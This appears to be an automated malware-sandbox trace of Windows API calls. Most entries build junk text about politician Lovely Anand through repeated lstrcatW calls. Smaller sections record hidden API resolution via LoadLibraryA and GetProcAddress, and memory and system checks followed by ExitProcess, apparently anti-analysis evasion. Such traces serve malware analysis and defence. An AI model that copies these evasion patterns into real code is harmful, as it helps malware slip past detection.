lstrcatW.KERNEL32(00000000,and), ref: 004108C9
lstrcatW.KERNEL32(00000000,also), ref: 004108D1
lstrcatW.KERNEL32(00000000,the), ref: 004108D9
lstrcatW.KERNEL32(00000000,granddaughter), ref: 004108E1
lstrcatW.KERNEL32(00000000,00448FF4), ref: 004108E9
lstrcatW.KERNEL32(00000000,Freedom), ref: 004108F1
lstrcatW.KERNEL32(00000000,Fighter), ref: 004108F9
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00410901
lstrcatW.KERNEL32(00000000,Prasad), ref: 00410909
lstrcatW.KERNEL32(00000000,Sinha), ref: 00410911
lstrlenW.KERNEL32(00000000), ref: 0041091A
lstrlenW.KERNEL32(00000000), ref: 0041091D
lstrlenW.KERNEL32(00000000), ref: 00410920
lstrlenW.KERNEL32(00000000), ref: 00410923
lstrlenW.KERNEL32(00000000), ref: 00410926
lstrlenW.KERNEL32(00000000), ref: 00410929
lstrlenW.KERNEL32(00000000), ref: 0041092C
lstrlenW.KERNEL32(00000000), ref: 0041092F
lstrlenW.KERNEL32(00000000), ref: 00410932
lstrlenW.KERNEL32(00000000), ref: 00410935
lstrlenW.KERNEL32(00000000), ref: 00410938
lstrlenW.KERNEL32(00000000), ref: 0041093B
lstrlenW.KERNEL32(00000000), ref: 0041093E
lstrlenW.KERNEL32(00000000), ref: 00410941
lstrlenW.KERNEL32(00000000), ref: 00410944
lstrlenW.KERNEL32(00000000), ref: 00410947
lstrlenW.KERNEL32(00000000), ref: 0041094A
lstrlenW.KERNEL32(00000000), ref: 0041094D
lstrlenW.KERNEL32(00000000), ref: 00410950
lstrlenW.KERNEL32(00000000), ref: 00410953
lstrlenW.KERNEL32(00000000), ref: 00410956
lstrlenW.KERNEL32(00000000), ref: 00410959
lstrlenW.KERNEL32(00000000), ref: 0041095C
lstrlenW.KERNEL32(00000000), ref: 0041095F
lstrcatW.KERNEL32(00000000,Lovely), ref: 00410967
lstrcatW.KERNEL32(00000000,Anand), ref: 0041096F
lstrcatW.KERNEL32(00000000,00449068), ref: 00410977
lstrcatW.KERNEL32(00000000,00449070), ref: 0041097F
lstrcatW.KERNEL32(00000000,Indian), ref: 00410987
lstrcatW.KERNEL32(00000000,politician), ref: 0041098F
lstrcatW.KERNEL32(00000000,and), ref: 00410997
lstrcatW.KERNEL32(00000000,former), ref: 0041099F
lstrcatW.KERNEL32(00000000,member), ref: 004109A7
lstrcatW.KERNEL32(00000000,004490C8), ref: 004109AF
lstrcatW.KERNEL32(00000000,the), ref: 004109B7
lstrcatW.KERNEL32(00000000,10th), ref: 004109BF
lstrcatW.KERNEL32(00000000,Lok), ref: 004109C7
lstrcatW.KERNEL32(00000000,Sabha), ref: 004109CF
lstrcatW.KERNEL32(00000000,the), ref: 004109D7
lstrcatW.KERNEL32(00000000,lower), ref: 004109DF
lstrcatW.KERNEL32(00000000,house), ref: 004109E7
lstrcatW.KERNEL32(00000000,00449118), ref: 004109EF
lstrcatW.KERNEL32(00000000,the), ref: 004109F7
lstrcatW.KERNEL32(00000000,Parliament), ref: 004109FF
lstrcatW.KERNEL32(00000000,00449140), ref: 00410A07
lstrcatW.KERNEL32(00000000,India), ref: 00410A0F
lstrcatW.KERNEL32(00000000,and), ref: 00410A17
lstrcatW.KERNEL32(00000000,also), ref: 00410A1F
lstrcatW.KERNEL32(00000000,the), ref: 00410A27
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00410A2F
lstrcatW.KERNEL32(00000000,0044918C), ref: 00410A37
lstrcatW.KERNEL32(00000000,Freedom), ref: 00410A3F
lstrcatW.KERNEL32(00000000,Fighter), ref: 00410A47
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00410A4F
lstrcatW.KERNEL32(00000000,Prasad), ref: 00410A57
lstrcatW.KERNEL32(00000000,Sinha), ref: 00410A5F
lstrcatW.KERNEL32(00000000,Lovely), ref: 00410A67
lstrcatW.KERNEL32(00000000,Anand), ref: 00410A6F
lstrcatW.KERNEL32(00000000,00449200), ref: 00410A77
lstrcatW.KERNEL32(00000000,00449208), ref: 00410A7F
lstrcatW.KERNEL32(00000000,Indian), ref: 00410A87
lstrcatW.KERNEL32(00000000,politician), ref: 00410A8F
lstrcatW.KERNEL32(00000000,and), ref: 00410A97
lstrcatW.KERNEL32(00000000,former), ref: 00410A9F
lstrcatW.KERNEL32(00000000,member), ref: 00410AA7
lstrcatW.KERNEL32(00000000,00449260), ref: 00410AAF
lstrcatW.KERNEL32(00000000,the), ref: 00410AB7
lstrcatW.KERNEL32(00000000,10th), ref: 00410ABF
lstrcatW.KERNEL32(00000000,Lok), ref: 00410AC7
lstrcatW.KERNEL32(00000000,Sabha), ref: 00410ACF
lstrcatW.KERNEL32(00000000,the), ref: 00410AD7
lstrcatW.KERNEL32(00000000,lower), ref: 00410ADF
lstrcatW.KERNEL32(00000000,house), ref: 00410AE7
lstrcatW.KERNEL32(00000000,004492B0), ref: 00410AEF
lstrcatW.KERNEL32(00000000,the), ref: 00410AF7
lstrcatW.KERNEL32(00000000,Parliament), ref: 00410AFF
lstrcatW.KERNEL32(00000000,004492D8), ref: 00410B07
lstrcatW.KERNEL32(00000000,India), ref: 00410B0F
lstrcatW.KERNEL32(00000000,and), ref: 00410B17
lstrcatW.KERNEL32(00000000,also), ref: 00410B1F
lstrcatW.KERNEL32(00000000,the), ref: 00410B27
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00410B2F
lstrcatW.KERNEL32(00000000,00449324), ref: 00410B37
lstrcatW.KERNEL32(00000000,Freedom), ref: 00410B3F
lstrcatW.KERNEL32(00000000,Fighter), ref: 00410B47
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00410B4F
lstrcatW.KERNEL32(00000000,Prasad), ref: 00410B57
lstrcatW.KERNEL32(00000000,Sinha), ref: 00410B5F
lstrlenW.KERNEL32(00000000), ref: 00410B62
lstrlenW.KERNEL32(00000000), ref: 00410B65
lstrlenW.KERNEL32(00000000), ref: 00410B68
lstrlenW.KERNEL32(00000000), ref: 00410B6B
lstrlenW.KERNEL32(00000000), ref: 00410B6E
lstrlenW.KERNEL32(00000000), ref: 00410B71
lstrlenW.KERNEL32(00000000), ref: 00410B74
lstrlenW.KERNEL32(00000000), ref: 00410B77
lstrlenW.KERNEL32(00000000), ref: 00410B7A
lstrlenW.KERNEL32(00000000), ref: 00410B7D
lstrlenW.KERNEL32(00000000), ref: 00410B80
lstrlenW.KERNEL32(00000000), ref: 00410B83
lstrlenW.KERNEL32(00000000), ref: 00410B86
lstrlenW.KERNEL32(00000000), ref: 00410B89
lstrlenW.KERNEL32(00000000), ref: 00410B8C
lstrlenW.KERNEL32(00000000), ref: 00410B8F
lstrlenW.KERNEL32(00000000), ref: 00410B92
lstrlenW.KERNEL32(00000000), ref: 00410B95
lstrlenW.KERNEL32(00000000), ref: 00410B98
lstrlenW.KERNEL32(00000000), ref: 00410B9B
lstrlenW.KERNEL32(00000000), ref: 00410B9E
lstrlenW.KERNEL32(00000000), ref: 00410BA1
lstrlenW.KERNEL32(00000000), ref: 00410BA4
lstrlenW.KERNEL32(00000000), ref: 00410BA7
lstrcatW.KERNEL32(00000000,Lovely), ref: 00410BAF
lstrcatW.KERNEL32(00000000,Anand), ref: 00410BB7
lstrcatW.KERNEL32(00000000,00449398), ref: 00410BBF
lstrcatW.KERNEL32(00000000,004493A0), ref: 00410BC7
lstrcatW.KERNEL32(00000000,Indian), ref: 00410BCF
lstrcatW.KERNEL32(00000000,politician), ref: 00410BD7
lstrcatW.KERNEL32(00000000,and), ref: 00410BDF
lstrcatW.KERNEL32(00000000,former), ref: 00410BE7
lstrcatW.KERNEL32(00000000,member), ref: 00410BEF
lstrcatW.KERNEL32(00000000,004493F8), ref: 00410BF7
lstrcatW.KERNEL32(00000000,the), ref: 00410BFF
lstrcatW.KERNEL32(00000000,10th), ref: 00410C07
lstrcatW.KERNEL32(00000000,Lok), ref: 00410C0F
lstrcatW.KERNEL32(00000000,Sabha), ref: 00410C17
lstrcatW.KERNEL32(00000000,the), ref: 00410C1F
lstrcatW.KERNEL32(00000000,lower), ref: 00410C27
lstrcatW.KERNEL32(00000000,house), ref: 00410C2F
lstrcatW.KERNEL32(00000000,00449448), ref: 00410C37
lstrcatW.KERNEL32(00000000,the), ref: 00410C3F
lstrcatW.KERNEL32(00000000,Parliament), ref: 00410C47
lstrcatW.KERNEL32(00000000,00449470), ref: 00410C4F
lstrcatW.KERNEL32(00000000,India), ref: 00410C57
lstrcatW.KERNEL32(00000000,and), ref: 00410C5F
lstrcatW.KERNEL32(00000000,also), ref: 00410C67
lstrcatW.KERNEL32(00000000,the), ref: 00410C6F
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00410C77
lstrcatW.KERNEL32(00000000,004494BC), ref: 00410C7F
lstrcatW.KERNEL32(00000000,Freedom), ref: 00410C87
lstrcatW.KERNEL32(00000000,Fighter), ref: 00410C8F
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00410C97
lstrcatW.KERNEL32(00000000,Prasad), ref: 00410C9F
lstrcatW.KERNEL32(00000000,Sinha), ref: 00410CA7
lstrcatW.KERNEL32(00000000,Lovely), ref: 00410CB7
lstrcatW.KERNEL32(00000000,Anand), ref: 00410CBF
lstrcatW.KERNEL32(00000000,00449530), ref: 00410CC7
lstrcatW.KERNEL32(00000000,00449538), ref: 00410CCF
lstrcatW.KERNEL32(00000000,Indian), ref: 00410CD7
lstrcatW.KERNEL32(00000000,politician), ref: 00410CDF
lstrcatW.KERNEL32(00000000,and), ref: 00410CE7
lstrcatW.KERNEL32(00000000,former), ref: 00410CEF
lstrcatW.KERNEL32(00000000,member), ref: 00410CF7
lstrcatW.KERNEL32(00000000,00449590), ref: 00410CFF
lstrcatW.KERNEL32(00000000,the), ref: 00410D07
lstrcatW.KERNEL32(00000000,10th), ref: 00410D0F
lstrcatW.KERNEL32(00000000,Lok), ref: 00410D17
lstrcatW.KERNEL32(00000000,Sabha), ref: 00410D1F
lstrcatW.KERNEL32(00000000,the), ref: 00410D27
lstrcatW.KERNEL32(00000000,lower), ref: 00410D2F
lstrcatW.KERNEL32(00000000,house), ref: 00410D37
lstrcatW.KERNEL32(00000000,004495E0), ref: 00410D3F
lstrcatW.KERNEL32(00000000,the), ref: 00410D47
lstrcatW.KERNEL32(00000000,Parliament), ref: 00410D4F
lstrcatW.KERNEL32(00000000,00449608), ref: 00410D57
lstrcatW.KERNEL32(00000000,India), ref: 00410D5F
lstrcatW.KERNEL32(00000000,and), ref: 00410D67
lstrcatW.KERNEL32(00000000,also), ref: 00410D6F
lstrcatW.KERNEL32(00000000,the), ref: 00410D77
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00410D7F
lstrcatW.KERNEL32(00000000,00449654), ref: 00410D87
lstrcatW.KERNEL32(00000000,Freedom), ref: 00410D8F
lstrcatW.KERNEL32(00000000,Fighter), ref: 00410D97
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00410D9F
lstrcatW.KERNEL32(00000000,Prasad), ref: 00410DA7
lstrcatW.KERNEL32(00000000,Sinha), ref: 00410DAF
lstrlenW.KERNEL32(00000000), ref: 00410DB2
lstrlenW.KERNEL32(00000000), ref: 00410DB5
lstrlenW.KERNEL32(00000000), ref: 00410DB8
lstrlenW.KERNEL32(00000000), ref: 00410DBB
lstrlenW.KERNEL32(00000000), ref: 00410DBE
lstrlenW.KERNEL32(00000000), ref: 00410DC1
lstrlenW.KERNEL32(00000000), ref: 00410DC4
lstrlenW.KERNEL32(00000000), ref: 00410DC7
lstrlenW.KERNEL32(00000000), ref: 00410DCA
lstrlenW.KERNEL32(00000000), ref: 00410DCD
lstrlenW.KERNEL32(00000000), ref: 00410DD0
lstrlenW.KERNEL32(00000000), ref: 00410DD3
lstrlenW.KERNEL32(00000000), ref: 00410DD6
lstrlenW.KERNEL32(00000000), ref: 00410DD9
lstrlenW.KERNEL32(00000000), ref: 00410DDC
lstrlenW.KERNEL32(00000000), ref: 00410DDF
lstrlenW.KERNEL32(00000000), ref: 00410DE2
lstrlenW.KERNEL32(00000000), ref: 00410DE5
lstrlenW.KERNEL32(00000000), ref: 00410DE8
lstrlenW.KERNEL32(00000000), ref: 00410DEB
lstrlenW.KERNEL32(00000000), ref: 00410DEE
lstrlenW.KERNEL32(00000000), ref: 00410DF1
lstrlenW.KERNEL32(00000000), ref: 00410DF4
lstrlenW.KERNEL32(00000000), ref: 00410DF7
lstrcatW.KERNEL32(00000000,Lovely), ref: 00410DFF
lstrcatW.KERNEL32(00000000,Anand), ref: 00410E07
lstrcatW.KERNEL32(00000000,004496C8), ref: 00410E0F
lstrcatW.KERNEL32(00000000,004496D0), ref: 00410E17
lstrcatW.KERNEL32(00000000,Indian), ref: 00410E1F
lstrcatW.KERNEL32(00000000,politician), ref: 00410E27
lstrcatW.KERNEL32(00000000,and), ref: 00410E2F
lstrcatW.KERNEL32(00000000,former), ref: 00410E37
lstrcatW.KERNEL32(00000000,member), ref: 00410E3F
lstrcatW.KERNEL32(00000000,00449728), ref: 00410E47
lstrcatW.KERNEL32(00000000,the), ref: 00410E4F
lstrcatW.KERNEL32(00000000,10th), ref: 00410E57
lstrcatW.KERNEL32(00000000,Lok), ref: 00410E5F
lstrcatW.KERNEL32(00000000,Sabha), ref: 00410E67
lstrcatW.KERNEL32(00000000,the), ref: 00410E6F
lstrcatW.KERNEL32(00000000,lower), ref: 00410E77
lstrcatW.KERNEL32(00000000,house), ref: 00410E7F
lstrcatW.KERNEL32(00000000,00449778), ref: 00410E87
lstrcatW.KERNEL32(00000000,the), ref: 00410E8F
lstrcatW.KERNEL32(00000000,Parliament), ref: 00410E97
lstrcatW.KERNEL32(00000000,004497A0), ref: 00410E9F
lstrcatW.KERNEL32(00000000,India), ref: 00410EA7
lstrcatW.KERNEL32(00000000,and), ref: 00410EAF
lstrcatW.KERNEL32(00000000,also), ref: 00410EB7
lstrcatW.KERNEL32(00000000,the), ref: 00410EBF
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00410EC7
lstrcatW.KERNEL32(00000000,004497EC), ref: 00410ECF
lstrcatW.KERNEL32(00000000,Freedom), ref: 00410ED7
lstrcatW.KERNEL32(00000000,Fighter), ref: 00410EDF
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00410EE7
lstrcatW.KERNEL32(00000000,Prasad), ref: 00410EEF
lstrcatW.KERNEL32(00000000,Sinha), ref: 00410EF7

Part of subcall function 00424B20: LoadLibraryA.KERNEL32(0253C270,00410EFE), ref: 00424B26
Part of subcall function 00424B20: GetProcAddress.KERNEL32(00000000,0253C5D0), ref: 00424B48
Part of subcall function 00424B20: GetProcAddress.KERNEL32(771A0000,0253C588), ref: 00424B5C
Part of subcall function 00424B20: GetProcAddress.KERNEL32(771A0000,02534080), ref: 00424B85
Part of subcall function 00424B20: GetProcAddress.KERNEL32(771A0000,0253C5E8), ref: 00424B9D
Part of subcall function 00424B20: GetProcAddress.KERNEL32(771A0000,0253C600), ref: 00424BB6
Part of subcall function 00424B20: GetProcAddress.KERNEL32(771A0000,025328C0), ref: 00424BCE
Part of subcall function 00424B20: GetProcAddress.KERNEL32(771A0000,025329A0), ref: 00424BE6
Part of subcall function 00424B20: GetProcAddress.KERNEL32(771A0000,0253C558), ref: 00424BFF
Part of subcall function 00424B20: GetProcAddress.KERNEL32(771A0000,0253C5A0), ref: 00424C17
Part of subcall function 00424B20: GetProcAddress.KERNEL32(771A0000,0253C540), ref: 00424C2F
Part of subcall function 00424B20: GetProcAddress.KERNEL32(771A0000,0253C4E0), ref: 00424C48
Part of subcall function 00424B20: GetProcAddress.KERNEL32(771A0000,025328A0), ref: 00424C60
Part of subcall function 00424B20: LoadLibraryA.KERNEL32(0253C498), ref: 00424C73
Part of subcall function 00424B20: GetProcAddress.KERNEL32(00000000,0253C2B8), ref: 00424C8A

lstrcatW.KERNEL32(00000000,Lovely), ref: 00410F04
lstrcatW.KERNEL32(00000000,Anand), ref: 00410F0C
lstrcatW.KERNEL32(00000000,00449860), ref: 00410F14
lstrcatW.KERNEL32(00000000,00449868), ref: 00410F1C
lstrcatW.KERNEL32(00000000,Indian), ref: 00410F24
lstrcatW.KERNEL32(00000000,politician), ref: 00410F2C
lstrcatW.KERNEL32(00000000,and), ref: 00410F34
lstrcatW.KERNEL32(00000000,former), ref: 00410F3C
lstrcatW.KERNEL32(00000000,member), ref: 00410F44
lstrcatW.KERNEL32(00000000,004498C0), ref: 00410F4C
lstrcatW.KERNEL32(00000000,the), ref: 00410F54
lstrcatW.KERNEL32(00000000,10th), ref: 00410F5C
lstrcatW.KERNEL32(00000000,Lok), ref: 00410F64
lstrcatW.KERNEL32(00000000,Sabha), ref: 00410F6C
lstrcatW.KERNEL32(00000000,the), ref: 00410F74
lstrcatW.KERNEL32(00000000,lower), ref: 00410F7C
lstrcatW.KERNEL32(00000000,house), ref: 00410F84
lstrcatW.KERNEL32(00000000,00449910), ref: 00410F8C
lstrcatW.KERNEL32(00000000,the), ref: 00410F94
lstrcatW.KERNEL32(00000000,Parliament), ref: 00410F9C
lstrcatW.KERNEL32(00000000,00449938), ref: 00410FA4
lstrcatW.KERNEL32(00000000,India), ref: 00410FAC
lstrcatW.KERNEL32(00000000,and), ref: 00410FB4
lstrcatW.KERNEL32(00000000,also), ref: 00410FBC
lstrcatW.KERNEL32(00000000,the), ref: 00410FC4
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00410FCC
lstrcatW.KERNEL32(00000000,00449984), ref: 00410FD4
lstrcatW.KERNEL32(00000000,Freedom), ref: 00410FDC
lstrcatW.KERNEL32(00000000,Fighter), ref: 00410FE4
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00410FEC
lstrcatW.KERNEL32(00000000,Prasad), ref: 00410FF4
lstrcatW.KERNEL32(00000000,Sinha), ref: 00410FFC
lstrlenW.KERNEL32(00000000), ref: 00410FFF
lstrlenW.KERNEL32(00000000), ref: 00411002
lstrlenW.KERNEL32(00000000), ref: 00411005
lstrlenW.KERNEL32(00000000), ref: 00411008
lstrlenW.KERNEL32(00000000), ref: 0041100B
lstrlenW.KERNEL32(00000000), ref: 0041100E
lstrlenW.KERNEL32(00000000), ref: 00411011
lstrlenW.KERNEL32(00000000), ref: 00411014
lstrlenW.KERNEL32(00000000), ref: 00411017
lstrlenW.KERNEL32(00000000), ref: 0041101A
lstrlenW.KERNEL32(00000000), ref: 0041101D
lstrlenW.KERNEL32(00000000), ref: 00411020
lstrlenW.KERNEL32(00000000), ref: 00411023
lstrlenW.KERNEL32(00000000), ref: 00411026
lstrlenW.KERNEL32(00000000), ref: 00411029
lstrlenW.KERNEL32(00000000), ref: 0041102C
lstrlenW.KERNEL32(00000000), ref: 0041102F
lstrlenW.KERNEL32(00000000), ref: 00411032
lstrlenW.KERNEL32(00000000), ref: 00411035
lstrlenW.KERNEL32(00000000), ref: 00411038
lstrlenW.KERNEL32(00000000), ref: 0041103B
lstrlenW.KERNEL32(00000000), ref: 0041103E
lstrlenW.KERNEL32(00000000), ref: 00411041
lstrlenW.KERNEL32(00000000), ref: 00411044
lstrcatW.KERNEL32(00000000,Lovely), ref: 0041104C
lstrcatW.KERNEL32(00000000,Anand), ref: 00411054
lstrcatW.KERNEL32(00000000,004499F8), ref: 0041105C
lstrcatW.KERNEL32(00000000,00449A00), ref: 00411064
lstrcatW.KERNEL32(00000000,Indian), ref: 0041106C
lstrcatW.KERNEL32(00000000,politician), ref: 00411074
lstrcatW.KERNEL32(00000000,and), ref: 0041107C
lstrcatW.KERNEL32(00000000,former), ref: 00411084
lstrcatW.KERNEL32(00000000,member), ref: 0041108C
lstrcatW.KERNEL32(00000000,00449A58), ref: 00411094
lstrcatW.KERNEL32(00000000,the), ref: 0041109C
lstrcatW.KERNEL32(00000000,10th), ref: 004110A4
lstrcatW.KERNEL32(00000000,Lok), ref: 004110AC
lstrcatW.KERNEL32(00000000,Sabha), ref: 004110B4
lstrcatW.KERNEL32(00000000,the), ref: 004110BC
lstrcatW.KERNEL32(00000000,lower), ref: 004110C4
lstrcatW.KERNEL32(00000000,house), ref: 004110CC
lstrcatW.KERNEL32(00000000,00449AA8), ref: 004110D4
lstrcatW.KERNEL32(00000000,the), ref: 004110DC
lstrcatW.KERNEL32(00000000,Parliament), ref: 004110E4
lstrcatW.KERNEL32(00000000,00449AD0), ref: 004110EC
lstrcatW.KERNEL32(00000000,India), ref: 004110F4
lstrcatW.KERNEL32(00000000,and), ref: 004110FC
lstrcatW.KERNEL32(00000000,also), ref: 00411104
lstrcatW.KERNEL32(00000000,the), ref: 0041110C
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00411114
lstrcatW.KERNEL32(00000000,00449B1C), ref: 0041111C
lstrcatW.KERNEL32(00000000,Freedom), ref: 00411124
lstrcatW.KERNEL32(00000000,Fighter), ref: 0041112C
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00411134
lstrcatW.KERNEL32(00000000,Prasad), ref: 0041113C
lstrcatW.KERNEL32(00000000,Sinha), ref: 00411144

Part of subcall function 00401070: GetSystemInfo.KERNEL32(?), ref: 0040107A

lstrcatW.KERNEL32(00000000,Lovely), ref: 00411151
lstrcatW.KERNEL32(00000000,Anand), ref: 00411159
lstrcatW.KERNEL32(00000000,00449B90), ref: 00411161
lstrcatW.KERNEL32(00000000,00449B98), ref: 00411169
lstrcatW.KERNEL32(00000000,Indian), ref: 00411171
lstrcatW.KERNEL32(00000000,politician), ref: 00411179
lstrcatW.KERNEL32(00000000,and), ref: 00411181
lstrcatW.KERNEL32(00000000,former), ref: 00411189
lstrcatW.KERNEL32(00000000,member), ref: 00411191
lstrcatW.KERNEL32(00000000,00449BF0), ref: 00411199
lstrcatW.KERNEL32(00000000,the), ref: 004111A1
lstrcatW.KERNEL32(00000000,10th), ref: 004111A9
lstrcatW.KERNEL32(00000000,Lok), ref: 004111B1
lstrcatW.KERNEL32(00000000,Sabha), ref: 004111B9
lstrcatW.KERNEL32(00000000,the), ref: 004111C1
lstrcatW.KERNEL32(00000000,lower), ref: 004111C9
lstrcatW.KERNEL32(00000000,house), ref: 004111D1
lstrcatW.KERNEL32(00000000,00449C40), ref: 004111D9
lstrcatW.KERNEL32(00000000,the), ref: 004111E1
lstrcatW.KERNEL32(00000000,Parliament), ref: 004111E9
lstrcatW.KERNEL32(00000000,00449C68), ref: 004111F1
lstrcatW.KERNEL32(00000000,India), ref: 004111F9
lstrcatW.KERNEL32(00000000,and), ref: 00411201
lstrcatW.KERNEL32(00000000,also), ref: 00411209
lstrcatW.KERNEL32(00000000,the), ref: 00411211
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00411219
lstrcatW.KERNEL32(00000000,00449CB4), ref: 00411221
lstrcatW.KERNEL32(00000000,Freedom), ref: 00411229
lstrcatW.KERNEL32(00000000,Fighter), ref: 00411231
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00411239
lstrcatW.KERNEL32(00000000,Prasad), ref: 00411241
lstrcatW.KERNEL32(00000000,Sinha), ref: 00411249
lstrlenW.KERNEL32(00000000), ref: 0041124C
lstrlenW.KERNEL32(00000000), ref: 0041124F
lstrlenW.KERNEL32(00000000), ref: 00411252
lstrlenW.KERNEL32(00000000), ref: 00411255
lstrlenW.KERNEL32(00000000), ref: 00411258
lstrlenW.KERNEL32(00000000), ref: 0041125B
lstrlenW.KERNEL32(00000000), ref: 0041125E
lstrlenW.KERNEL32(00000000), ref: 00411261
lstrlenW.KERNEL32(00000000), ref: 00411264
lstrlenW.KERNEL32(00000000), ref: 00411267
lstrlenW.KERNEL32(00000000), ref: 0041126A
lstrlenW.KERNEL32(00000000), ref: 0041126D
lstrlenW.KERNEL32(00000000), ref: 00411270
lstrlenW.KERNEL32(00000000), ref: 00411273
lstrlenW.KERNEL32(00000000), ref: 00411276
lstrlenW.KERNEL32(00000000), ref: 00411279
lstrlenW.KERNEL32(00000000), ref: 0041127C
lstrlenW.KERNEL32(00000000), ref: 0041127F
lstrlenW.KERNEL32(00000000), ref: 00411282
lstrlenW.KERNEL32(00000000), ref: 00411285
lstrlenW.KERNEL32(00000000), ref: 00411288
lstrlenW.KERNEL32(00000000), ref: 0041128B
lstrlenW.KERNEL32(00000000), ref: 0041128E
lstrlenW.KERNEL32(00000000), ref: 00411291
lstrcatW.KERNEL32(00000000,Lovely), ref: 00411299
lstrcatW.KERNEL32(00000000,Anand), ref: 004112A1
lstrcatW.KERNEL32(00000000,00449D28), ref: 004112A9
lstrcatW.KERNEL32(00000000,00449D30), ref: 004112B1
lstrcatW.KERNEL32(00000000,Indian), ref: 004112B9
lstrcatW.KERNEL32(00000000,politician), ref: 004112C1
lstrcatW.KERNEL32(00000000,and), ref: 004112C9
lstrcatW.KERNEL32(00000000,former), ref: 004112D1
lstrcatW.KERNEL32(00000000,member), ref: 004112D9
lstrcatW.KERNEL32(00000000,00449D88), ref: 004112E1
lstrcatW.KERNEL32(00000000,the), ref: 004112E9
lstrcatW.KERNEL32(00000000,10th), ref: 004112F1
lstrcatW.KERNEL32(00000000,Lok), ref: 004112F9
lstrcatW.KERNEL32(00000000,Sabha), ref: 00411301
lstrcatW.KERNEL32(00000000,the), ref: 00411309
lstrcatW.KERNEL32(00000000,lower), ref: 00411311
lstrcatW.KERNEL32(00000000,house), ref: 00411319
lstrcatW.KERNEL32(00000000,00449DD8), ref: 00411321
lstrcatW.KERNEL32(00000000,the), ref: 00411329
lstrcatW.KERNEL32(00000000,Parliament), ref: 00411331
lstrcatW.KERNEL32(00000000,00449E00), ref: 00411339
lstrcatW.KERNEL32(00000000,India), ref: 00411341
lstrcatW.KERNEL32(00000000,and), ref: 00411349
lstrcatW.KERNEL32(00000000,also), ref: 00411351
lstrcatW.KERNEL32(00000000,the), ref: 00411359
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00411361
lstrcatW.KERNEL32(00000000,00449E4C), ref: 00411369
lstrcatW.KERNEL32(00000000,Freedom), ref: 00411371
lstrcatW.KERNEL32(00000000,Fighter), ref: 00411379
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00411381
lstrcatW.KERNEL32(00000000,Prasad), ref: 00411389
lstrcatW.KERNEL32(00000000,Sinha), ref: 00411391

Part of subcall function 00401000: _memset.LIBCMT ref: 00401018
Part of subcall function 00401000: GlobalMemoryStatusEx.KERNEL32(?), ref: 0040102B
Part of subcall function 00401000: ExitProcess.KERNEL32 ref: 00401053

lstrcatW.KERNEL32(00000000,Lovely), ref: 0041139E
lstrcatW.KERNEL32(00000000,Anand), ref: 004113A6
lstrcatW.KERNEL32(00000000,00449EC0), ref: 004113AE
lstrcatW.KERNEL32(00000000,00449EC8), ref: 004113B6
lstrcatW.KERNEL32(00000000,Indian), ref: 004113BE
lstrcatW.KERNEL32(00000000,politician), ref: 004113C6
lstrcatW.KERNEL32(00000000,and), ref: 004113CE
lstrcatW.KERNEL32(00000000,former), ref: 004113D6
lstrcatW.KERNEL32(00000000,member), ref: 004113DE
lstrcatW.KERNEL32(00000000,00449F20), ref: 004113E6
lstrcatW.KERNEL32(00000000,the), ref: 004113EE
lstrcatW.KERNEL32(00000000,10th), ref: 004113F6
lstrcatW.KERNEL32(00000000,Lok), ref: 004113FE
lstrcatW.KERNEL32(00000000,Sabha), ref: 00411406
lstrcatW.KERNEL32(00000000,the), ref: 0041140E
lstrcatW.KERNEL32(00000000,lower), ref: 00411416
lstrcatW.KERNEL32(00000000,house), ref: 0041141E
lstrcatW.KERNEL32(00000000,00449F70), ref: 00411426
lstrcatW.KERNEL32(00000000,the), ref: 0041142E
lstrcatW.KERNEL32(00000000,Parliament), ref: 00411436
lstrcatW.KERNEL32(00000000,00449F98), ref: 0041143E
lstrcatW.KERNEL32(00000000,India), ref: 00411446
lstrcatW.KERNEL32(00000000,and), ref: 0041144E
lstrcatW.KERNEL32(00000000,also), ref: 00411456
lstrcatW.KERNEL32(00000000,the), ref: 0041145E
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00411466
lstrcatW.KERNEL32(00000000,00449FE4), ref: 0041146E
lstrcatW.KERNEL32(00000000,Freedom), ref: 00411476
lstrcatW.KERNEL32(00000000,Fighter), ref: 0041147E
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00411486
lstrcatW.KERNEL32(00000000,Prasad), ref: 0041148E
lstrcatW.KERNEL32(00000000,Sinha), ref: 00411496
lstrlenW.KERNEL32(00000000), ref: 00411499
lstrlenW.KERNEL32(00000000), ref: 0041149C
lstrlenW.KERNEL32(00000000), ref: 0041149F
lstrlenW.KERNEL32(00000000), ref: 004114A2
lstrlenW.KERNEL32(00000000), ref: 004114A5
lstrlenW.KERNEL32(00000000), ref: 004114A8
lstrlenW.KERNEL32(00000000), ref: 004114AB
lstrlenW.KERNEL32(00000000), ref: 004114AE
lstrlenW.KERNEL32(00000000), ref: 004114B1
lstrlenW.KERNEL32(00000000), ref: 004114B4
lstrlenW.KERNEL32(00000000), ref: 004114B7
lstrlenW.KERNEL32(00000000), ref: 004114BA
lstrlenW.KERNEL32(00000000), ref: 004114BD
lstrlenW.KERNEL32(00000000), ref: 004114C0
lstrlenW.KERNEL32(00000000), ref: 004114C3
lstrlenW.KERNEL32(00000000), ref: 004114C6
lstrlenW.KERNEL32(00000000), ref: 004114C9
lstrlenW.KERNEL32(00000000), ref: 004114CC
lstrlenW.KERNEL32(00000000), ref: 004114CF
lstrlenW.KERNEL32(00000000), ref: 004114D2
lstrlenW.KERNEL32(00000000), ref: 004114D5
lstrlenW.KERNEL32(00000000), ref: 004114D8
lstrlenW.KERNEL32(00000000), ref: 004114DB
lstrlenW.KERNEL32(00000000), ref: 004114DE
lstrcatW.KERNEL32(00000000,Lovely), ref: 004114E6
